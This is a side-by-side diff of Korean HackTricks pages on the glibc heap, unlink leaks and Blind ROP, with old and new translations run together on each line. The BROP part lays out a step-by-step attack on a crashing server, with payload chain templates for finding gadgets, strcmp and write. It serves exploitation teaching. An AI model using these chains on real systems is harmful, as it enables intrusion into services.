[https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html)의 빠른 힙 예시를 arm64로 구현한 것: [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html)에서 가져온 빠른 힙 예제이지만 arm64에서:
```c ```c
#include <stdio.h> #include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
@ -408,13 +408,13 @@ ptr = malloc(0x10);
strcpy(ptr, "panda"); strcpy(ptr, "panda");
} }
``` ```
메인 함수 끝에 중단점을 설정하고 정보가 저장된 위치를 찾아봅시다: 메인 함수의 끝에 중단점을 설정하고 정보가 어디에 저장되었는지 찾아봅시다:
<figure><img src="../../.gitbook/assets/image (1239).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1239).png" alt=""><figcaption></figcaption></figure>
문자열 'panda'가 `0xaaaaaaac12a0`에 저장되었음을 확인할 수 있습니다 (이 주소는 `x0` 내부의 malloc에 의해 반환된 주소였습니다). 그 앞의 0x10바이트를 확인하면 `0x0`은 **이전 청크가 사용되지 않음**을 나타내고, 이 청크의 길이는 `0x21`임을 알 수 있습니다. 문자열 panda가 `0xaaaaaaac12a0`에 저장된 것을 볼 수 있습니다 (이는 `x0` 내의 malloc에 의해 응답으로 제공된 주소입니다). 0x10 바이트 이전을 확인하면 `0x0`**이전 청크가 사용되지 않음** (길이 0)을 나타내고 이 청크의 길이는 `0x21`임을 알 수 있습니다.
추가로 예약된 공간(0x21-0x10=0x11)은 **추가된 헤더** (0x10)에서 나오며, 0x1은 0x21B가 예약되었다는 것을 의미하는 것이 아니라 현재 헤더의 길이의 마지막 3비트가 특별한 의미를 가지고 있음을 나타냅니다. 길이는 항상 16바이트로 정렬되므로(64비트 머신에서), 이 비트들은 실제로는 숫자로 사용되지 않을 것입니다. 예약된 추가 공간 (0x21-0x10=0x11)은 **추가 헤더** (0x10)에서 발생하며 0x1은 0x21B가 예약되었다는 의미가 아니라 현재 헤더의 길이의 마지막 3비트가 특별한 의미를 가집니다. 길이는 항상 16바이트 정렬(64비트 머신에서)되므로 이 비트는 실제로 길이 숫자에 의해 사용되지 않습니다.
``` ```
0x1: Previous in Use - Specifies that the chunk before it in memory is in use 0x1: Previous in Use - Specifies that the chunk before it in memory is in use
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap() 0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
@ -468,35 +468,35 @@ return 0;
``` ```
</details> </details>
이전 예제를 디버깅하면 처음에는 아레나가 하나만 있는 것을 볼 수 있습니다: 이전 예제를 디버깅하면 처음에 1개의 아레나만 있는 것을 볼 수 있습니다:
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
그런 다음, 첫 번째 스레드를 호출하는 스레드, malloc을 호출하는 스레드를 호출한 후에 새로운 아레나가 생성됩니다:
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
리고 그 안에 일부 청크를 찾을 수 있습니다: 그런 다음, 첫 번째 스레드를 호출한 후, malloc을 호출하는 스레드에서 새로운 아레나가 생성됩니다:
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Bins & 메모리 할당/해제 그 안에는 몇 개의 청크가 있습니다:
다음에서 bins가 무엇이며 어떻게 구성되어 있는지, 그리고 메모리가 할당되고 해제되는 방법을 확인하십시오: <figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
## Bins & Memory Allocations/Frees
Bins이 무엇인지, 어떻게 구성되어 있는지, 메모리가 어떻게 할당되고 해제되는지 확인하세요:
{% content-ref url="bins-and-memory-allocations.md" %} {% content-ref url="bins-and-memory-allocations.md" %}
[bins-and-memory-allocations.md](bins-and-memory-allocations.md) [bins-and-memory-allocations.md](bins-and-memory-allocations.md)
{% endcontent-ref %} {% endcontent-ref %}
## 힙 함수 보안 검사 ## Heap Functions Security Checks
에 관여하는 함수는 힙이 손상되지 않았는지 확인하기 위해 작업을 수행하기 전에 특정 검사를 수행할 것입니다: 과 관련된 함수는 힙이 손상되지 않았는지 확인하기 위해 작업을 수행하기 전에 특정 검사를 수행니다:
{% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %} {% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %}
[heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md) [heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md)
{% endcontent-ref %} {% endcontent-ref %}
## 참고 자료 ## References
* [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/) * [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
* [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/) * [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)

View file

@ -1,16 +1,16 @@
# unlink # unlink
{% hint style="success" %} {% hint style="success" %}
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS 해킹 배우기 및 연습하기:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>HackTricks 지원하기</summary>
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* 해킹 팁을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하세요. * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
</details> </details>
{% endhint %} {% endhint %}
@ -65,28 +65,43 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
``` ```
### 그래픽 설명 ### 그래픽 설명
unlink 프로세스 훌륭한 그래픽 설명을 확인하세요: unlink 프로세스에 대한 훌륭한 그래픽 설명을 확인하세요:
<figure><img src="../../../.gitbook/assets/image (3).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
### 보안 확인 사항 ### 보안 검사
* 청크의 크기가 다음 청크에 표시된 prev\_size와 동일한지 확인 * 청크의 지정된 크기가 다음 청크에 표시된 prev\_size와 동일한지 확인합니다.
* 또한 `P->fd->bk == P``P->bk->fw == P`를 확인 * 또한 `P->fd->bk == P``P->bk->fw == P`인지 확인합니다.
* 청크가 작지 않은 경우, `P->fd_nextsize->bk_nextsize == P``P->bk_nextsize->fd_nextsize == P`를 확인 * 청크가 작지 않은 경우, `P->fd_nextsize->bk_nextsize == P``P->bk_nextsize->fd_nextsize == P`인지 확인합니다.
### 누 ### 누
언링크된 청크는 할당된 주소를 정리하지 않으므로, rad에 액세스하여 흥미로운 주소를 누출할 수 있습니다: unlink된 청크는 할당된 주소를 정리하지 않으므로, 이를 읽을 수 있는 접근 권한이 있으면 흥미로운 주소를 누출할 수 있습니다:
Libc 누: Libc 누:
* P가 이중 연결 목록의 헤드에 위치한 경우, `bk`는 libc의 `malloc_state`를 가리킵니다. * P가 이중 연결 리스트의 머리에 위치하면, `bk`는 libc의 `malloc_state`를 가리킵니다.
* P가 이중 연결 목록의 끝에 위치한 경우, `fd`는 libc의 `malloc_state`를 가리킵니다. * P가 이중 연결 리스트의 끝에 위치하면, `fd`는 libc의 `malloc_state`를 가리킵니다.
* 이중 연결 목록에 빈 청크가 하나만 있는 경우, P가 이중 연결 목록에 있고, `fd``bk` 모두 `malloc_state` 내부 주소를 누출할 수 있습니다. * 이중 연결 리스트에 단 하나의 무료 청크만 포함되어 있을 때, P는 이중 연결 리스트에 있으며, `fd``bk` 모두 `malloc_state` 내부 주소를 누출할 수 있습니다.
힙 누: 힙 누:
* P가 이중 연결 목록의 헤드에 위치한 경우, `fd`는 힙의 사용 가능한 청크를 가리킵니다. * P가 이중 연결 리스트의 머리에 위치하면, `fd`는 힙의 사용 가능한 청크를 가리킵니다.
* P가 이중 연결 목록의 끝에 위치한 경우, `bk`는 힙의 사용 가능한 청크를 가리킵니다. * P가 이중 연결 리스트의 끝에 위치하면, `bk`는 힙의 사용 가능한 청크를 가리킵니다.
* P가 이중 연결 목록에 있는 경우, `fd``bk`는 모두 힙의 사용 가능한 청크를 가리킵니다. * P가 이중 연결 리스트에 있으면, `fd``bk` 모두 힙의 사용 가능한 청크를 가리킵니다.
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **팔로우**하세요** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
</details>
{% endhint %}

View file

@ -1,135 +1,151 @@
# BROP - Blind Return Oriented Programming # BROP - 블라인드 리턴 지향 프로그래밍
{% hint style="success" %} {% hint style="success" %}
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS 해킹 배우기 및 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks 지원</summary> <summary>HackTricks 지원하기</summary>
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**. * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **HackTricks****HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요. * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
</details> </details>
{% endhint %} {% endhint %}
## 기본 정보 ## 기본 정보
이 공격의 목표는 **취약한 이진 파일에 대한 어떠한 정보도 없이 버퍼 오버플로우를 통해 ROP를 남용하는 것**입니다.\ 이 공격의 목표는 **취약한 바이너리에 대한 정보 없이 버퍼 오버플로우를 통해 ROP를 악용할 수 있는 능력**입니다.\
이 공격은 다음 시나리오에 기반을 두고 있습니다: 이 공격은 다음 시나리오를 기반으로 합니다:
* 스택 취약점 및 그것을 트리거하는 방법에 대한 지식. * 스택 취약점과 이를 유발하는 방법에 대한 지식.
* 충돌 후 서버 응용 프로그램이 다시 시작되는 서버 응용 프로그램. * 충돌 후 재시작되는 서버 애플리케이션.
## 공격 ## 공격
### **1. 취약한 오프셋 찾기** 서버의 오작동이 감지될 때까지 한 글자 더 보내기 ### **1. 취약한 오프셋 찾기** 서버의 오작동이 감지될 때까지 한 문자를 더 보내기
### **2. 캐너리 무차별 대입**하여 누출하기 ### **2. 카나리 무차별 대입** 이를 유출하기 위해
### **3. 저장된 RBP 및 RIP 무차별 대입**하여 누출하기 ### **3. 스택에서 저장된 RBP 및 RIP** 주소를 무차별 대입하여 유출하기
러한 프로세스에 대한 자세한 정보는 [여기 (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) [여기 (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md)에서 찾을 수 있습니다. 프로세스에 대한 더 많은 정보는 [여기 (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) [여기 (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md)에서 찾을 수 있습니다.
### **4. 지 가젯 찾기** ### **4. 지 가젯 찾기**
이 가젯은 기본적으로 ROP 가젯에 의해 실행된 흥미로운 작업이 충돌하지 않았기 때문에 확인할 수 있도록 합니다. 일반적으로 이 가젯은 **실행을 중지**하고 특정 ROP 가젯이 실행되었음을 확인하기 위해 ROP 가젯을 찾을 때 ROP 체인의 끝에 위치합니다. 이 가젯은 기본적으로 ROP 가젯에 의해 흥미로운 것이 실행되었음을 확인할 수 있게 해줍니다. 실행이 충돌하지 않았기 때문입니다. 일반적으로 이 가젯은 **실행을 중지**시키는 것이며, 특정 ROP 가젯이 실행되었음을 확인하기 위해 ROP 체인의 끝에 위치합니다.
### **5. BROP 가젯 찾기** ### **5. BROP 가젯 찾기**
이 기술은 [**ret2csu**](ret2csu.md) 가젯을 사용합니다. 이는 이 가젯에 액세스하면 중간에 일부 명령이 있기 때문에 **`rsi`** 및 **`rdi`**를 제어할 수 있는 가젯을 얻을 수 있기 때문입니다: 이 기술은 [**ret2csu**](ret2csu.md) 가젯을 사용합니다. 이는 이 가젯에 접근하면 **`rsi`**와 **`rdi`**를 제어할 수 있는 가젯을 얻기 때문입니다:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
다음은 이러한 가젯들입니다: 이것들이 가젯입니다:
* `pop rsi; pop r15; ret` * `pop rsi; pop r15; ret`
* `pop rdi; ret` * `pop rdi; ret`
러한 가젯을 사용하면 함수의 **2개의 인수를 제어**할 수 있음을 주목하세요. 가젯을 사용하면 함수 호출의 **2개의 인자를 제어**할 수 있다는 점에 유의하세요.
또한, ret2csu 가젯은 **매우 독특한 서명**을 가지고 있습니다. 이는 스택에서 6개의 레지스터를 팝할 것입니다. 따라서 다음과 같은 체인을 보내면: 또한, ret2csu 가젯은 **매우 독특한 서명**을 가지고 있습니다. 왜냐하면 스택에서 6개의 레지스터를 팝하기 때문입니다. 따라서 다음과 같은 체인을 보내면:
`'A' * 오프셋 + 캐너리 + rbp + 주소 + 0xdead * 6 + 중지` `'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
만약 **STOP이 실행**된다면, 이는 기본적으로 **스택에서 6개의 레지스터를 팝하는 주소**가 사용되었음을 의미합니다. 또는 사용된 주소가 또한 STOP 주소였음을 의미합니다. **STOP이 실행되면**, 이는 기본적으로 스택에서 6개의 레지스터를 팝하는 **주소가 사용되었다는 것을 의미**합니다. 또는 사용된 주소가 또한 STOP 주소였다는 것을 의미합니다.
**마지막 옵션을 제거**하기 위해 다음과 같은 새로운 체인을 실행하고 이전 체인이 6개의 레지스터를 팝했음을 확인하기 위해 STOP 가젯이 실행되지 않아야 합니다: 마지막 옵션을 **제거하기 위해** 다음과 같은 새로운 체인이 실행되며, 이전 체인이 6개의 레지스터를 팝했음을 확인하기 위해 STOP 가젯을 실행하지 않아야 합니다:
`'A' * 오프셋 + 캐너리 + rbp + 주소` `'A' * offset + canary + rbp + ADDR`
ret2csu 가젯의 주소를 알**`rsi``rdi`를 제어하는 가젯의 주소를 추론**할 수 있습니다. ret2csu 가젯의 주소를 알고 있다면, **`rsi``rdi`를 제어할 가젯의 주소를 유추할 수 있습니다.**
### 6. PLT 찾기 ### 6. PLT 찾기
PLT 테이블은 0x400000 또는 스택에서 누출된 RIP 주소 (PIE가 사용 중인 경우)부터 검색할 수 있습니다. 테이블의 **엔트리**는 16B(0x10B)로 구분되며 함수가 호출될 때 인수가 올바르지 않아도 서버가 충돌하지 않습니다. 또한, **PLT + 6B의 주소를 확인해도 충돌하지 않습니다**. 이는 첫 번째로 실행되는 코드이기 때문입니다. PLT 테이블은 0x400000 또는 스택에서 **유출된 RIP 주소**에서 검색할 수 있습니다(만약 **PIE**가 사용되고 있다면). 테이블의 **항목**은 **16B**(0x10B)로 구분되어 있으며, 하나의 함수가 호출될 때 서버는 인자가 올바르지 않더라도 충돌하지 않습니다. 또한, **PLT + 6B의 주소를 확인해도 충돌하지 않습니다**. 이는 첫 번째 코드가 실행되기 때문입니다.
따라서 다음과 같은 동작을 확인하여 PLT 테이블을 찾을 수 있습니다: 따라서 다음 동작을 확인하여 PLT 테이블을 찾을 수 있습니다:
* `'A' * 오프셋 + 캐너리 + rbp + 주소 + 중지` -> 충돌 없음 * `'A' * offset + canary + rbp + ADDR + STOP` -> 충돌 없음
* `'A' * 오프셋 + 캐너리 + rbp + (주소 + 0x6) + 중지` -> 충돌 없음 * `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> 충돌 없음
* `'A' * 오프셋 + 캐너리 + rbp + (주소 + 0x10) + 중지` -> 충돌 없음 * `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> 충돌 없음
### 7. strcmp 찾기 ### 7. strcmp 찾기
**`strcmp`** 함수는 비교되는 문자열의 길이를 나타내는 레지스터 **`rdx`**를 설정합니다. **`rdx`**는 **세 번째 인수**이며 나중에 프로그램을 누출하기 위해 `write`를 사용하려면 **0보다 큰** 값이어야 합니다. **`strcmp`** 함수는 비교되는 문자열의 길이를 레지스터 **`rdx`**에 설정합니다. **`rdx`**는 **세 번째 인자**이며, 나중에 `write`를 사용하여 프로그램을 유출하기 위해 **0보다 커야** 합니다.
이제 우리는 이제 함수의 처음 2개의 인수를 제어할 수 있기 때문에 **`strcmp`**의 위치를 PLT에서 찾을 수 있습니다. 이를 통해 다음과 같은 동작을 사용하여 **`strcmp`**의 위치를 찾을 수 있습니다: 이제 함수의 첫 두 인자를 제어할 수 있는 사실을 바탕으로 PLT에서 **`strcmp`**의 위치를 찾을 수 있습니다:
* strcmp(\<읽을 수 없는 주소>, \<읽을 수 없는 주소>) -> 충돌 * strcmp(\<읽지 않는 주소>, \<읽지 않는 주소>) -> 충돌
* strcmp(\<읽을 수 없는 주소>, \<읽을 수 있는 주소>) -> 충돌 * strcmp(\<읽지 않는 주소>, \<읽는 주소>) -> 충돌
* strcmp(\<읽을 수 있는 주소>, \<읽을 수 없는 주소>) -> 충돌 * strcmp(\<읽는 주소>, \<읽지 않는 주소>) -> 충돌
* strcmp(\<읽을 수 있는 주소>, \<읽을 수 있는 주소>) -> 충돌 없음 * strcmp(\<읽는 주소>, \<읽는 주소>) -> 충돌 없음
PLT 테이블의 각 엔트리를 호출하거나 **PLT slow path**를 사용하여 이를 확인할 수 있습니다. 이는 기본적으로 **PLT 테이블의 엔트리 + 0xb** (즉, **`dlresolve`**를 호출)를 호출한 다음 스택에서 **조사하려는 엔트리 번호** (0부터 시작)를 따릅니다: 이것은 PLT 테이블의 각 항목을 호출하거나 **PLT 느린 경로**를 사용하여 확인할 수 있습니다. 이는 기본적으로 **PLT 테이블의 항목을 호출한 후 + 0xb**(이는 **`dlresolve`**를 호출함)이며, 스택에서 **탐색하고자 하는 항목 번호**(0부터 시작)를 뒤따릅니다:
* strcmp(\<읽을 수 없는 주소>, \<읽을 수 있는 주소>) -> 충돌 * strcmp(\<읽지 않는 주소>, \<읽는 주소>) -> 충돌
* `b'A' * 오프셋 + 캐너리 + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + 중지` -> 충돌 발생 * `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> 충돌 발생
* strcmp(\<읽을 수 있는 주소>, \<읽을 수 없는 주소>) -> 충돌 * strcmp(\<읽는 주소>, \<읽지 않는 주소>) -> 충돌
* `b'A' * 오프셋 + 캐너리 + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + 중지`&#x20; * `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
* strcmp(\<읽을 수 있는 주소>, \<읽을 수 있는 주소>) -> 충돌 없음 * strcmp(\<읽는 주소>, \<읽는 주소>) -> 충돌 없음
* `b'A' * 오프셋 + 캐너리 + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + 중지`&#x20; * `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
기억하세요: 기억하세요:
* BROP + 0x7 **`pop RSI; pop R15; ret;`**를 가리킵니다. * BROP + 0x7 **`pop RSI; pop R15; ret;`**를 가리킵니다.
* BROP + 0x9 **`pop RDI; ret;`**를 가리킵니다. * BROP + 0x9 **`pop RDI; ret;`**를 가리킵니다.
* PLT + 0xb는 **dl\_resolve**를 호출합니다. * PLT + 0xb는 **dl\_resolve** 호출을 가리킵니다.
`strcmp`를 찾았다**`rdx`**를 0보다 큰 값으로 설정할 수 있습니다. `strcmp`를 찾**`rdx`**를 0보다 큰 값으로 설정할 수 있습니다.
{% hint style="success" %} {% hint style="success" %}
일반적으로 `rdx`에는 이미 0보다 큰 값이 들어 있기 때문에 이 단계는 필요하지 않을 수 있습니다. 일반적으로 `rdx`는 이미 0보다 큰 값을 가지고 있으므로 이 단계는 필요하지 않을 수 있습니다.
{% endhint %} {% endhint %}
### 8. Write 또는 동등한 함수 찾기
마지막으로, 이진 파일을 유출하기 위해 데이터를 유출하는 가젯이 필요합니다. 그리고 이 순간에는 **2개의 인자를 제어하고 `rdx`를 0보다 크게 설정할 수 있습니다.** ### 8. Write 또는 동등한 것 찾기
이를 위해 악용할 수 있는 3가지 일반적인 함수가 있습니다: 마지막으로, 바이너리를 유출하기 위해 데이터를 유출하는 가젯이 필요합니다. 이 시점에서 **2개의 인자를 제어하고 `rdx`를 0보다 크게 설정할 수 있습니다.**
- `puts(data)` 이를 위해 악용할 수 있는 일반적인 함수는 3개가 있습니다:
- `dprintf(fd, data)`
- `write(fd, data, len(data)`
그러나 원본 논문은 **`write`** 함수에 대해서만 언급하므로, 이에 대해 이야기해 보겠습니다: * `puts(data)`
* `dprintf(fd, data)`
* `write(fd, data, len(data))`
현재 문제는 **PLT 내부에 write 함수가 어디에 있는지 모르며** 우리의 소켓으로 데이터를 보낼 **fd 번호를 모르는 것**입니다. 그러나 원본 논문에서는 **`write`** 함수만 언급하므로 이에 대해 이야기하겠습니다:
그러나 **PLT 테이블이 어디에 있는지 알 수 있으며****동작을 기반으로 write를 찾을 수 있습니다.** 그리고 서버와 **여러 연결을 생성**하고 **높은 FD**를 사용하여 우리의 연결 중 일부와 일치하는지 확인할 수 있습니다. 현재 문제는 **PLT 내에서 write 함수가 어디에 있는지 모르고**, **데이터를 소켓으로 전송할 fd 번호를 모르기** 때문입니다.
이러한 함수를 찾기 위한 동작 식별자: 하지만 **PLT 테이블이 어디에 있는지 알고 있으며**, 그 **행동**을 기반으로 write를 찾을 수 있습니다. 그리고 **여러 연결**을 서버와 생성하고 **높은 FD**를 사용하여 우리의 연결 중 하나와 일치하기를 희망할 수 있습니다.
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> 데이터가 인쇄되면 puts가 발견됨 이 함수들을 찾기 위한 행동 서명:
- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> 데이터가 인쇄되면 dprintf가 발견됨
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> 데이터가 인쇄되면 write가 발견됨
## 자동 활용 * `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> 데이터가 출력되면, puts가 발견된 것입니다.
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> 데이터가 출력되면, dprintf가 발견된 것입니다.
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> 데이터가 출력되면, write가 발견된 것입니다.
## 자동 익스플로잇
* [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper) * [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper)
## 참고 자료 ## 참고 문헌
* 원본 논문: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf) * 원본 논문: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
